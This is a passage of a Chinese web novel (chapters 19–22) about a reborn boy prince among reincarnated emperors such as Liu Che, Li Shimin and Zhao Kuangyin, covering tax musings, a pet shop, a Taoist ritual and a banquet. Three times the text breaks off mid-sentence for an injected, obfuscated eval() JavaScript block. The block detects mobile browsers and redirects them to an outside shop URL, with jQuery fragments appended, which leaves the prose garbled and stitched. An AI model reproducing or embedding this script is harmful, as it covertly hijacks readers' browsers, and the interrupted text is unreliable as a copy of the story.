刘彻也赶紧劝说:“小宁,哥的本意只是想让你缩短和老大的距离,不是逼你呀!你可千万不要误入歧途,搞什么巫蛊之术,多少人因为巫蛊之术死了!这张符纸必须马上烧掉!”
周宛宁:“啊???”
他没有想不开啊,更没有搞什么巫蛊之术,这都什么和什么?
再说了,在刘彻面前搞巫蛊,他嫌自己命长吗?
周宛宁意识到他的妈妈和哥哥应该误会了什么,于是他急忙解释:
“不是!不是!我只是突然想通了一个定律!这个定律很重要,我——娘,哥,你们听我说,张先生他一直在研究税制改革,大哥让我好好研究一下税制,张先生极有可能会考察这方面。但税制不能改,因为越改税越多!”
吕雉和刘彻对视一眼,从对方眼里都看到了同样的震撼。
完了,最单纯的小宁竟然开始研究税收了。
这孩子能把税收研究明白吗?谁这么缺德,竟敢诱导他思考这方面的问题,摆明了没存好心!
看来问题就是出在嬴政和张白圭身上!
刘彻扭头往外走:“我去把周承璋绑来,让他负荆请罪,为小宁的精神状态负责。”
周宛宁吓得惨叫:“别去!别去!”
嬴政现在估计在练剑呢,刘彻会被斩于太阿剑下!
他抓住吕雉的手,急切地说:“娘,你听我说!我没有在胡言乱语,我是真的在认真思考。你们有没有发现,历朝历代都有贤能的大臣对税收进行改革,但最后百姓还是会不堪重负,税越收越多?”
吕雉眉心一跳,虽然还是怀疑,但为了安抚儿子,她顺着周宛宁的话说:“对,是这样的。”
周宛宁飞快道:“我也在想,有什么办法能让百姓的负担减少呢?历代有那么多聪明人提出不同的方法,比如让政府给百姓借贷耕种,比如不按人头收税只是按田亩多少收税……”
刘彻停在门口本来打算去逮捕嬴政,听到周宛宁这么说,他忍不住插了一句:“按田亩收税?等等,等一下,嘶……”
吕雉的表情也逐渐严肃起来,她起身坐下,把周宛宁抱到她的膝头,认真地问:“还有呢?”
周宛宁靠在妈妈怀里,伸手比划:“他们和张先生一样,出发点都是简化税种,让百姓少交杂税,也让政府收税更容易。初衷很好啊,假设百姓只用交一种税,那百姓可以休养生息,政府也减少成本,的确是双赢。”
吕雉不由得点头:“对,是这样。”
刘彻也靠了过来,竖起耳朵在听。
周宛宁的语气加重:“但即便初衷是好的,最后税也一定是越收越多!而且越改革,百姓的负担就越重!”
刘彻本能地问:“为什么?”
周宛宁看他一眼,说:“哥,假如你是皇帝,你治下的百
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894966|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姓只用交一种税。现在你想打匈奴,要筹钱,可国库没钱,你会怎么做?”
刘彻:“哦,我会随机挑选一些幸运大臣和幸运豪强杀一杀。”
周宛宁:?
汉武一朝的大臣究竟是生活在怎样水深火热之中……
司马迁:哼!现在你们知道了吧?我统统记录在案!
吕雉翻了个白眼,没好气地说:“只有你能那么干!因为你有军功,有威望,底下的人被你杀鸡取卵也不敢反抗。寻常的皇帝抄一两户人家都费劲,最简便的方法就是找一个由头加税。”
周宛宁愉快地蹭蹭妈妈的脸,赞同:“对!税制改革之后,谁能保证后世不会加税?简明的税法只会让皇帝觉得更方便加税了,反正名义上税种很少嘛。百姓面临的就是无止境的重负,收到难以为继,直至……”
他做了个挥剑的动作:“直至四哥你跟我讲的那个故事,百姓中就会有人斩白蛇起义,大风起兮云飞扬啦。”
吕雉:“刘彻你平时都跟小宁讲什么乱七八糟的?”
刘彻:“小宁身为你的儿子,不该听听高祖斩白蛇的故事吗?”
吕雉:“那你教他大风起兮云飞扬干什么?”
刘彻:“得培养一下孩子的文学素养啊。”
吕雉:“让他学点好的!!!”
周宛宁赶紧打断大汉祖孙的争吵,眼巴巴地问:“娘,哥哥,我这个结论对不对?”
吕雉搂着儿子,心绪有些复杂,最终还是轻声说:“对,很对。甚至……是娘都没想到的。”
刘彻则环抱双臂,笑道:“恭喜高后,如今终于有了个麒麟儿啊。这辈子,高后也算后继有人了。”
吕雉:你小子是不是在蛐蛐刘盈是废物?
刘彻:啊对对。
周宛宁有点羞愧,因为这则定律并非他的发现,而是明末思想家黄宗羲的观点。他只是在读税法相关书籍的时候回忆起来了,然后稍加推敲,参考后世学者的总结,这才理解了这条定律:
古代的税费改革,越改老百姓的负担越重。
那要怎么办呢?
现代是如何规避这一陷阱的呢?
周宛宁又陷入了思考。
看到周宛宁眼神发直,吕雉赶紧又晃晃儿子,说:“小宁,别学了,也别想了。你这几日都在屋里闷着,出去多走动走动。要不要和你二哥三哥他们约着去踢蹴鞠?”
周宛宁摇头:“不了,娘,蹴鞠踢得再好也没有用的。而且我踢不过他们,他们太猛了。”
吕雉想了想,又说:“过几日就是秀女采选了,娘带你去看看秀女吧。”
周宛宁倒是愣了愣:“我可以去看吗?”
吕雉说:“当然。况且你只是个小孩,谁敢说嘴?”
刘彻忍不住问:“那个,高后,我现在也是小孩,我能不能……”
他主要就是想看看有没有卫子夫或者李夫人什么的,嘿嘿,万一她们也来了……
吕雉冷冷地给了他一个字:“滚!”
刘季在这种事上怎么遗传那么强大?
全赖刘季,从根子上就歪了!
想到这儿,吕雉忍不住又贴了贴周宛宁。
幸亏这个孩子不像刘季,幸好幸好。
20.第 20 章
周宛宁没觉得自己现在有什么不对,但他身边的人迅速地都行动了起来,使出浑身解数想要把他从“疯癫”的状态里拉出去。
吕雉甚至去找张白圭给他请了几天假。
周宛宁对此觉得很疑惑:
大夏不支持上进学习吗,嗯?
知识改变命运呐!
刘彻:我们老刘家祖上几代人,从高祖刘邦到我,谁是靠学习改变命运的?
而且周宛宁学习的样子确实挺吓人,刘彻上辈子见过那些方士跳大神的时候也这样,双眼发直,魂游天外,莫名抽搐,大喊大叫,写一堆鬼画符……
这么一看,方士确实容易把孩子带坏。以后少接触方士吧,少接触。
很快,李世民和赵匡胤也听说周宛宁天天看书把脑子看坏了的事情。
他们找了时间来到宣和宫上门拜访,见到了正在陪朱棣玩的周宛宁。
周宛宁被吕雉勒令这几天不许看书,跟魏忠贤一起下棋又没什么意思,于是他就把更多时间花在了陪弟弟上。
朱棣住的小侧殿经过了改造,自从朱棣表现出了对爬行的浓厚兴趣之后,周宛宁就建议奶娘在屋里布置一块地方专门让朱棣爬。
他们在地上铺好厚实柔软的被褥,周围竖起围栏,散落着放着各种玩具,鼓励朱棣边爬边探索。
周宛宁就坐在朱棣的爬爬乐园里头。
他用比较硬挺的油纸折了不少纸飞机,朱棣就扒拉着他的胳膊死死盯着看。
折完一只,周宛宁就把纸飞机递给他一只,哄道:
“小燕,这是纸鸢,扔出去就能飞起来啦。小燕来扔扔看,看小燕能让纸鸢飞多远,好不好?”
朱棣也很给面子,他用小肉手抓着纸飞机,摆出极其标准的投矛动作,浑身乏力,“呀”地一声就把纸飞机直接丢出去了。
李世民进屋的时候,好悬没被纸飞机戳中脑袋。
纸飞机单杀天可汗!
赵匡胤躲在李世民身后,他冒出一个脑袋,嘻嘻笑着拍拍李世民的肩膀:“不愧是你啊,太喜欢做先锋了。”
李世民眼疾手快地在半空中抓住纸飞机,没好气地让赵匡胤从他背后赶紧出来:“说得好像你不喜欢冲在前面一样……小宁,小燕,你们玩什么呢?”
周宛宁扶住朱棣,抓着他的一只胖乎乎的手,向哥哥们打招呼:“来,小燕,说哥哥们好~二哥哥好,三哥哥好~”
赵匡胤真的很稀罕小孩,他笑眯眯地蹲下,让视线和朱棣齐平,声音都变得夹起来:“小燕,你好~我是恁哥~”
朱棣:“呱。”
李世民更关心周宛宁一点,他仔细看了看周宛宁的神色,问:“你这几日都没来上课,听老四说,你学习太用功,病了?”
周宛宁赶紧解释:“是我娘太紧张了,我没什么事儿。我最近在研究一些定理问题,可能太专注了,让我娘有些担心。”
李世民问:“你在研究什么定理?”
周宛宁说:“王朝周期律与历史气温变化折线的拟合。”
李世民:?
周宛宁揪着李世民开始讲:“你听我说啊,哥,我准备去完成一项很大的项目,就是去龙图阁查阅历代史书,记录每一年的气温还有灾害情况,同时记录收成还有起义、战争数据……这篇文章的难度在于前期的数据收集,但是写出来之后引用率一定非常高!”
李世民:弟儿啊,你在说什么,哥怎么听不懂呢?
上一次他有这种大脑停止思考的感觉,还是赵匡胤吞吞吐吐地跟他说他们大唐出了个女皇帝。
但无论李世民怎么逼问,赵匡胤都不肯告诉他那个女皇帝是谁。
无论如何,李世民觉得周宛宁可能确实是读书读得有点问题了。
李世民清清嗓子,说:“听起来挺有意思的……那什么,小宁!你听说了吗?”
周宛宁疑惑:“听说什么?”
李世民薅了一把赵匡胤的领子,赵匡胤还在逗朱棣,被李世民这么一扒拉,他反应过来,赶紧帮腔:
“就是,就是安陆王进京的事啊!”
周宛宁总觉得安陆王这个封号耳熟,可他想不起来这人是谁,只能用眼神求助两个哥哥。
李世民说:“开春了,宫里选秀,安陆王遴选了他封地上的秀女,还准备了不少贡品,亲自送来京城。这几天宗正那边忙着准备接待呢。”
周宛宁:“哦……”
赵匡胤补充道:“说是在白云观旁边给安陆王准备了一个宅子,安陆王自己掏钱,要在白云观做七七四十九天的周天大醮,为父皇和大夏祈福。”
李世民对周宛宁挤挤眼睛:“怎么样,要不要跟我们一起出宫去看看道士做法事?”
周宛宁其实并不是很感兴趣,但李世民和赵匡胤盯着他的眼神太过灼热,让周宛宁觉得,如果他不同意,这俩人说不定会半夜来敲他闷棍,把他直接绑架出去。
遇到俩e人哥哥也是实在没办法!
哦,说起这个,唐太宗和宋太祖历史上好像确实是e人来着……
周宛宁没拒绝两个哥哥的提议,他还提前去找吕雉报备了一下。
吕雉很赞成,可能跟大汉本身就是放养教育有关。而且李世民和赵匡胤在吕雉眼里都算靠谱的哥哥,一直以来对周宛宁很好,她也不担心儿子会出什么事。
不过吕雉作为母亲,还是要例行嘱咐一下的。
她叫周宛宁出门之后不要乱吃东西,看中什么就买,但是不要露富,一定牢牢跟着哥哥不要走散了。
最重要的是,如果看中别人家的小姑娘,千万不要强抢!
可以问过姓名家世,等回宫之后等吕雉帮忙安排,绝对不许直接抢回来!
周宛宁:?
还没等周宛宁说什么,吕雉又补充了一句:“看中了小伙子也不许抢!”
周宛宁:刘家人究竟给你留下了多深的心理阴影啊,妈妈。
周宛宁对天发誓,他现在心里只有学习。
他的初步目标是写一篇高水平论文震撼张白圭,恋爱只会影响他查文献的速度!
吕雉的表情更担忧了。
第二日,李世民和赵匡胤来接周宛宁出宫。
周宛宁被李世民一拉,顺顺当当地上了马车。
马车很宽敞,坐三个人绰绰有余,还有软枕靠垫,茶具点心,该有的都已经提前预备好了。
周宛宁趴在窗户边上,好奇又着迷地看着马车沿着宫道出了皇宫,逐渐来到人声嘈杂的坊市。
李世民和赵匡胤都用几乎可以算是慈爱的眼神注视着周宛宁,周宛宁一回头,撞见他俩的目光,先是吓了一跳。
皇帝都没用这种眼神看过他!
李世民问:“小宁看到什么了?”
周宛宁有些不好意思地说:“看到有人在卖小狗……”
他本以为宠物市场是到了现代才发展起来的,但他很明显地看到有店铺在售卖小型犬和猫,品相还都不错。
看来只要有需求,市场上就会想办法满足这一需求。
赵匡胤问:“小宁想养小狗?”
周宛宁倒没想过这个。听赵匡胤这么问,他思索起来:“还好?狗每天都需要遛,我暂时还没有这个精力。”
李世民笑着说:“让下头的人替你遛不就成了?”
对耶,周宛宁总是忘记他现在已经成了统治阶级,已经不再是那个从实验室回到宿舍之后只能用微波炉热泡面的男大学生了。
为了哄他,赵匡胤提议:“既然小宁喜欢,要不咱们下去看看?”
若是皇子出游,稳妥起见应当清街。可清街实在太过显眼,李世民和两个弟弟约定,他们扮作出门游逛的世家公子,彼此之间就以兄弟排行称呼。
下车之后,周宛宁真正身处市井。闻到街边小吃的香味,听到摊贩叫卖和讨价还价的声响,他觉得自己身上也多了些活泛气,不由自主露出兴奋的表情。
李世民牵起他的手,叮嘱道:“牢牢抓着二哥,千万别走散了,知道吗?”
赵匡胤抓住周宛宁的另一只手,吓唬他:“要是走丢了,人牙子就把你拐走,卖给那种喜欢活吃小孩的恶棍土匪!”
周宛宁:?!
他赶紧把两个哥哥的手抱到怀里,紧紧抓着不放。
赵匡胤被逗得大笑起来,李世民瞪他一眼:“你吓唬小孩做什么,京畿之地要是真有那种穷凶极恶之徒,顺天府尹还想不想干了?”
赵匡胤赶紧安抚弟弟:“好了好了,俺俩都在,小宁不会被卖掉的。”
周宛宁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900210|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:我可不信任古代治安啊!这儿又没监控!
他们来到那家卖猫狗的小店,周宛宁惊奇地发现这家店不仅按照品相性格售卖宠物,竟然还有宠物美容服务。
店里有伙计在给长毛小狗修毛,看得他一时间错乱地不知道自己究竟身处什么时间线。
兄弟三人衣着华贵,器宇不凡,掌柜立刻笑盈盈地迎了出来,点头哈腰地问:“几位公子想要看些什么呀?”
李世民随意道:“弟弟喜欢小动物,带他来看看。你这儿有没有什么长得可爱,性格温顺的狗?狸奴也行!”
掌柜赶紧说:“有!有!这就给您挑几只!”
周宛宁停在店门口,和摆在门口笼子里的几只小狗崽子大眼瞪小眼。
这几只小狗看着也就两三个月大,叫起来声音是“嘤嘤”的,眼睛乌黑油亮,歪着脑袋观察周宛宁,尾巴在背后轻轻地晃。
赵匡胤评论说:“这种狗长不大,养在宫……家里逗着玩儿是挺合适的。不过我建议你再养只猎犬,回头可以带出去射猎,猎犬能帮你赶兔子。”
左牵黄,右擎苍?
周宛宁有些犹豫,赵匡胤笑着对他说:“也不一定要在这儿买,你可以先打个样,看看喜欢哪种长相的,回去叫人专门帮你找,再配个下人负责养。”
周宛宁点点头。
说话间,街上晃过来一个半大少年。
他似乎在角落里观察周宛宁一行人许久了,目标明确地直接走了过来,然后“噗通”一声跪到他们面前。
周宛宁被吓了一跳。
“你,你——”
那少年看起来和嬴政差不多大,但瘦得脸颊都凹进去,身上的衣服不脏却很破,洗得泛白,手肘和膝盖的地方都快半透明了。
只看见那少年一手托着一只破碗,另一手拿着一副用竹片简单削成的快板,真诚道:
“爷!听莲花落吗?咱给您唱一段儿!”
周宛宁:“我不——”
少年直接竹板一打开始唱:“说凤阳,道凤阳,凤阳真是好地方。淮河两岸麦苗香,咱家对门马姑娘,勤快美丽耕织忙!谁料淮水发了狂,冲了屋,倒了梁,一夜之间她没了爹和娘。狠心大哥烂心肠,卖了她要换新房!”
少年口音极重,他的唱词有一半周宛宁都听不懂。赵匡胤听得倒是兴致盎然,听他唱完,赵匡胤跟周宛宁说:
“这孩子村里遭了灾,同乡的一个妹子被卖了,说是卖给大官了。他为了找那妹子,一路讨饭到京城。”
周宛宁觉得对方可怜,而且重情义。他摸了摸兜,从荷包里数出几粒银豆子,轻轻放到少年碗里:“那……祝你和马姑娘早日重逢。”
少年又跪下,利落地给他磕了个头:“多谢贵人!贵人会有好报的!”
周宛宁尴尬地咧了咧嘴,有些羞愧:“我也没做什么……好了,好了,不用磕了,再磕的话我就想再给你多给点了。”
少年听了,直勾勾地盯住周宛宁:“真的吗?那咱再磕几个,贵人多赏咱点呗?”
周宛宁:?
他赶紧又数了一枚金豆子给少年,说:“别磕了别磕了,你快走吧。记得藏好点,别让别人看见,容易被抢。”
少年脸上露出恰到好处的感激:“多谢贵人!祝贵人福到运到吉祥到,生儿生女生大财!您生儿子做状元,生女儿做诰命,娶媳妇儿美若天仙!”
赵匡胤看热闹看够了,出手帮忙赶人:“行啦,去,去!俺弟才六岁,自己还是个孩子,浑说什么。”
少年一骨碌爬起来,也没多留,迅速隐没在了人群之中。
周宛宁看着他的背影,后知后觉地问赵匡胤:“哥,你说他那故事是真的还是假的?”
赵匡胤大笑着摸摸他的头:“八成是假的!傻小宁,他们讨饭的为了要钱当然怎么可怜怎么说嘛!”
周宛宁的脸一下红了起来:“啊?那,那我被骗了?哥,你看出来了为什么不拦着我?”
赵匡胤说:“你头回出来玩,哥想让你高兴嘛,再说,俺家又不缺钱。”
周宛宁叹了口气。
算了,就算只有一两成的概率是真的,那他也算帮到了一个人。
呃,不过,凤阳和马姑娘?
怎么听起来那么耳熟呢?
21.第 21 章
周宛宁有些懊恼,后悔刚才没有用“鉴定术”好好看看乞丐少年头顶的说明。
但刚才的事发生得太快了,那个乞丐少年的一套动作做得行云流水,出现,磕头,唱词,讨钱,讨到钱之后也不多纠缠,飞速离开,简直是熟练工中的熟练工。
三百六十行,行行出状元呐。
乞丐也是技术工种!
另一头,店家抱出了几只小狗小猫,都是漂亮又乖巧的。李世民把周宛宁拉了过去,让他挑挑有没有喜欢的,可以抱一抱,摸一摸。
周宛宁确实挺喜欢小动物,但他的专业很特殊。作为医学生,为了毕业,他必须做动物实验给自己的论文提供数据。
他一笼一笼地饲养小鼠,一开始他还给小鼠们取名字,精心地给它扪喂饲料,有时还会偷偷喂果冻。可就在他注视着那些毛绒的小生命时,他脑中总会划过一道闪念:但它们总有一天会被他亲手杀掉。
虽然周宛宁告诉自己这是必要的牺牲,可他心里还是有道坎过不去。
从上辈子都这辈子,有很多人说他很善良,可这种善良也成了束缚他的枷锁。渐渐地,他开始抗拒离别。宠物的寿命太短了,既然离别的痛苦必将到来,那还不如不要开始。
于是他强迫自己不去和小动物共情,也熄灭了养宠物的念头。
在李世民的鼓励下,周宛宁有些迟疑地向一只长毛小狗伸出手。
小狗是黑白两色的,眉毛是两团白点,耳朵软软耷拉在头顶,看着尤其可爱,还有点憨。
它的鼻头是黑的,在空气里嗅嗅,凑过来闻了闻周宛宁的指尖,用湿漉漉的小鼻头顶了一下周宛宁的手,然后对他咧开嘴,就像是在笑。
周宛宁试探地将手掌放到小狗的头顶,摸了摸。小狗抬起头,主动地蹭蹭他的掌心,软乎乎的,热烘烘的。
周宛宁的心都有些融化了。
李世民一直在观察他的神色,见他确实动心了,就问:“喜欢吗?喜欢的话就买,二哥送你!”
周宛宁咬着嘴唇,心中天人交战。
哎呀,养狗……他能养好吗?这时代也没有抗生素什么的,还没有疫苗,小狗得个细小或者犬瘟就容易死掉。
更重要的是,吕雉会同意吗?
周宛宁现在可不是事事可以自己做主的成年人,他现在是个小学生,他头上还有个妈妈呢!小学生零花钱买个旺仔小馒头都得经过妈妈同意!
尽管特别心动,但周宛宁还是克制住了自己的渴望,他有点挣扎地收回手,跟李世民说:“再看看吧,先不着急做决定。”
李世民怜爱地捏捏周宛宁的耳朵,说:“这孩子,也不知道你随了谁。做事谨慎小心,吃穿用度也都简朴有度,这些品质确实好,但难免太委屈你了,你也才六岁啊。”
周宛宁:倒也不至于这么夸他。他只是习惯了抠抠搜搜地生活,毕竟上辈子研究生补助也不算太多……
离开小店,兄弟三人在街上又逛了一会儿,就出发前往白云观。
白云观的建址就在京城内城之中,除去皇家举办的罗天大醮期间会封闭整个道观,平时市民很爱去白云观烧香求签,延请道长给自家做做法事。
赵佶喜爱修道,他三不五时也会请白云观的道长到皇宫一起坐论道法。
民间传闻,说皇帝曾经微服出行,前往白云观为大夏祈福。但鉴于这名皇帝是宋徽宗,周宛宁怀疑去白云观只是个幌子,实际上这家伙一个拐弯就去青楼楚馆快活了。
安陆王要做周天大醮,这一消息在热爱八卦的京城人民中已经传扬了出去。
与最盛大的罗天大醮相比,周天大醮虽然也要做够七七四十九天,但从层级上要稍弱一级。周天大醮主要由公卿贵族主持,此次安陆王就是主祭。
周天大醮上,道士们要祭祀北斗、南斗、五斗星君及三官大帝,最让人民群众喜闻乐见的科仪是“朝真拜斗”。
毕竟百姓听不懂经文,也没法看到祭祀中焚烧的青词,最直观的就是道士们的“步罡踏斗”。
李世民紧紧牵着周宛宁的手,周围的侍从们用身体为三位皇子开路,让他们能挤到前排,在最佳观赏位看道士们请神焚香。
醮坛被布置得堂皇华贵,供奉三清与诸天星斗,还有护法神将,处处设有五色的旗幡。
百姓们对着醮坛上的三清塑像虔诚礼拜,走着走着就碰到有人突然跪下来磕头。
周宛宁几次三番地突然停步,绕开前面地上磕头的百姓,还小心翼翼避免踩到对方。
忽然,周宛宁觉得他飞起来了。
他只觉得一阵大力从上方袭来,下一秒他发现自己好像直接变成了巨人,因为他能越过乌压压的人头,直接看到醮坛上掐诀拜斗的道士们。
原来是李世民直接单手把周宛宁拎了起来。
他轻轻松松把周宛宁扛到了自己肩头,让周宛宁坐在他的肩膀上,就像是老父亲带孩子出去逛庙会。
骤然被周围的人都高了一截,周宛宁被高度差吓得赶紧弯腰攥紧了李世民的手。李世民被他这副胆小的样子逗笑了,还故意去挠周宛宁的痒痒:
“怎么了?小宁害怕了?”
周宛宁不敢动作幅度太大地去躲,生怕从半空摔下来,他哆哆嗦嗦地用胳膊肘去挡李世民的手,求饶:
“二哥……别……”
李世民还装傻:“别什么?”
周宛宁:你不觉得这对话很离谱吗?!
周宛宁只能求助地看向赵匡胤,对上周宛宁的眼神,赵匡胤坚毅地点了点头,仿佛在说:放心,交给俺!
周宛宁:好哥哥!解救弟弟于倒悬!
被寄予厚望的赵匡胤用谴责的目光瞪向李世民,质问:“老二,你玩够了吗?”
李世民一挑眉:“玩什么?”
赵匡胤说:“玩够了就该轮到我了。”
周宛宁:?
这不太对吧,家人们!
他生无可恋地被李世民又递给赵匡胤,像个失去灵魂的棉花娃娃。赵匡胤高高兴兴地把周宛宁扛到肩膀上,不过老赵心善,没伸手去挠周宛宁的痒痒。
路过有百姓窃窃私语,说:“你看那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903586|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家兄弟,感情真好!”
赵匡胤还伸长脖子对他们大声赞同:“没错!”
周宛宁:但是代价是什么?!
代价是周宛宁的自尊心被刺痛,但自从重生以来,他所谓的成人自尊就已经逐渐被消磨殆尽。
他都已经可以眨巴着眼睛毫无心理负担地对吕雉撒娇了,区区被扛在肩膀上算什么?
更何况扛他的是唐宗宋祖!
四舍五入,他和李治赵光义一个待遇!
“踏斗开始没有?”
“没呢没呢,青词还没供完呢。”
“哎哎哎,快看,烧香的那个是不是安陆王?”
“是吗?可那人穿的不是宗室的礼服,是道袍啊。”
“进什么庙烧什么香,在道观穿道袍也挺正常的啦。”
周围百姓窃窃私语,个个伸长脖子向前看。周宛宁也眯起眼睛仔细辨认,谢天谢地他这辈子不近视,于是他也轻易地在布设着斗灯的醮坛伤看到了一位穿着宽松道袍的清瘦青年。
这名青年长了一张长脸,眉眼细长,透着一股精明相。他一身宽大飘荡的道袍,上绣青松祥云,精致华丽,与周围道士明显地区别开来。
他手持一卷青词,恭恭敬敬地对着三清像念诵。周围道士奏乐,烟雾缭绕间,一派缥缈之相。
周宛宁低头问赵匡胤:“安陆王是谁?”
赵匡胤说:“是皇帝的堂弟。”
李世民补充:“亲缘不算很近,但他们关系不错,安陆王总进贡一些丹方和经书,还有一些名贵字画,皇帝很喜欢他。”
周宛宁这才想起来,之前刘彻在龙图阁书库里翻出来一卷安陆王进贡的《神仙寿松图》,嬴政还和刘彻围绕“世界上有没有仙岛”吵了一架。
道家音乐悠悠停住,青词呈递完毕。安陆王袍袖一张,手掐诀,像一只硕大的鸟,突然开始用奇异的步伐左右横跳。
只听见百姓兴奋道:
“开始踏斗了!开始踏斗了!”
醮坛铺设着绣有北斗七星的厚毯,安陆王踏着北斗七星的方位,口中念念有词,足下生风地开始疯狂转悠。
左右道士们也齐声唱诵北斗七元星君的圣号,声音洪亮高亢,直穿云霄。
赵匡胤颠颠周宛宁,高兴地问:“怎么样,小宁,好玩吧?”
周宛宁看着扑棱蛾子一样奋力鼓着袍袖满台乱窜的安陆王,沉默后,他干巴巴地说:
“哥,你俩别搞这个,好尴尬。”
练得身形似鹤形……
李世民说:“我不搞这个,我还是更信佛一点。你们不觉得转世轮回更有道理吗?”
周宛宁:不愧是《西游记》重要男配角。
赵匡胤说:“我也不信这个,乱七八糟的什么经什么经,读得人脑袋疼。”
这位更是个体育生。
周宛宁又看向卖力的安陆王,心里突然出现一个念头:
等等,既然这个世界有那么多重生的历史名人……
他们不会都开始相信什么转世轮回,白日飞升了吧?!
22.第 22 章
“小狗被买走了?”
看完踏斗,周宛宁还是有些放不下那只白眉毛的憨憨小狗,于是他提出想要回到那家店再去看看。
没想到掌柜十分抱歉地告诉他们,方才有个小公子来把狗买走了。
看到弟弟一下子暗淡的双眼,赵匡胤就要找掌柜麻烦:“你怎么不替俺弟留一留呢?”
掌柜赶紧辩解:“那,那位小贵人看着就很喜欢狗,有诚意,出得也多……”
李世民叹了口气:“没办法了,慢了一步。”
周宛宁也很遗憾。
李世民摸摸他的脑袋,安慰道:“好了,就是只小狗,哥给你买点别的好玩的。”
周宛宁强颜欢笑道:“好的,我没事儿。我应该就是和它没有缘分吧,以后我会遇到更喜欢的小狗的。”
看弟弟这么懂事,赵匡胤更难受了:“不中!这么小的一件事都做不好,让俺弟出来玩都玩不尽兴,做哥哥的怎么能心安呢?就算做了什么天可汗,天策上将,要是没法让弟弟高兴,那就等于白做!”
李世民:???
李世民:你点我呢?!
被着重点名的天可汗瞪了一眼赵匡胤,说:“我也在想办法呀!小宁,回去以后哥帮你找找,看有没有长得比较类似的小狗。说起来,既然你喜欢小动物,你喜不喜欢马?”
周宛宁迟疑道:“还好吧……”
赵匡胤帮腔:“哥懂马!哥给你找马,让你在宣和宫里养!”
李世民赶紧附和:“对对,我也懂马,一匹不够就多养几匹。”
赵匡胤:“养它个十匹八匹的,凑个‘宣和六骏’!”
李世民:“老三我发现你这人有时候说话阴阳怪气的。”
周宛宁:“哥我用不上那么多马,我不组骑兵……”
李世民和赵匡胤异口同声:“我们支持你组骑兵!”
周宛宁:?
干什么,你们要在宣和宫凑齐一百单八将,有朝一日杀上紫宸殿,夺了鸟位,李二郎做大皇帝,赵大哥做二皇帝?
看到赵佶就想演《水浒传》是吗?
周宛宁赶紧转移话题,说:“我有点饿了,我们在外头吃还是回家吃?”
两个哥哥没有揭穿他拙劣的尝试,李世民说:“出都出来了,当然下馆子去啊!走,我领你们去南门大街的正店吃烤羊肉。他家的羊是正经西北运来的,又嫩又没有膻味儿。”
好耶!吃烤羊!
赵匡胤偷偷跟周宛宁挤眉弄眼一番,小声说:“老二他喜欢吃这些正经肉食,要是下次有机会,哥领你去尝尝卤羊肠,那玩意儿也好吃。”
听到赵匡胤这么说,李世民露出无可奈何的神态:“你带小宁吃点好的吧。我发现老三你有时候就喜欢吃点什么下水啊,鸡爪啊,鸭脖啊……那是你吃的东西吗?”
他们已经来到了大街上,一路溜溜达达地向着南门大街的方向走。
周宛宁牵着两个哥哥的手,听他们两个拌嘴。
显然,李世民和赵匡胤没少出宫玩儿。他们对京城里商业分布还有娱乐场所十分熟悉。不过他们的喜好有一些差别,李世民是关陇贵族出身,赵匡胤是河南军官出身,两个人的口味不太一样。
最后李世民和赵匡胤各退一步,中午正餐吃烤羊肉,但下午逛街的时候可以买点卤味边走边吃。
李世民挑的正店是家正经的大馆子,他们要了间包厢,然后李世民和赵匡胤就开始使劲儿点。什么烤全羊,什么鲤鱼焙面,什么金丝虾球,什么燕窝炖海参,什么烤乳鸽,周宛宁听着听着就开始劝:
“哥,少点些,吃不完……”
李世民摆摆手:“吃得完吃得完。你别小瞧我俩的饭量。老三,你还有没有什么想吃的?”
赵匡胤说:“再怼碗胡辣汤就中。宫里吃不上这一口,怪想嘞。”
这么中,那么燃,周末到河南!老赵上辈子这辈子都是河南胃!
周宛宁无言地看了看李世民,心想老陕李世民和嬴政不知道能不能吃到一块儿去。
上菜了,李世民和赵匡胤也没客气。他们给侍卫分了一部分菜,然后就充分发挥了青春期小伙子的优势,拿起筷子猛吃。
周宛宁才啃完一块羊肋排,就发现烤羊的半个身子都空了。
李世民还热情地切了只羊腿下来,“咚”地放到周宛宁面前:“吃啊,小宁,快吃!”
周宛宁:我吃不了这么多!
要不说李世民和赵匡胤都是天选武将呢,照他俩这个吃法,身量那肯定是往九尺以上长,到时候肩膀上能跑马,单手能扛鼎,妥妥的大夏霸王。
过几年吕雉见到他们都会大叫一声:项羽怎么还在追我?
想到这儿,周宛宁下定决心:不,他不能做兄弟里头最瘦弱的那个!
于是他抱着必胜的决心,拿起羊腿开始用力地啃。
看周宛宁努力吃饭,两个哥哥都投来了相当慈爱的目光。
对,就是这样,好孩子多吃点!
“再给我弟弟上一盘卤鸭子!”
……
“哥,我想吐。”
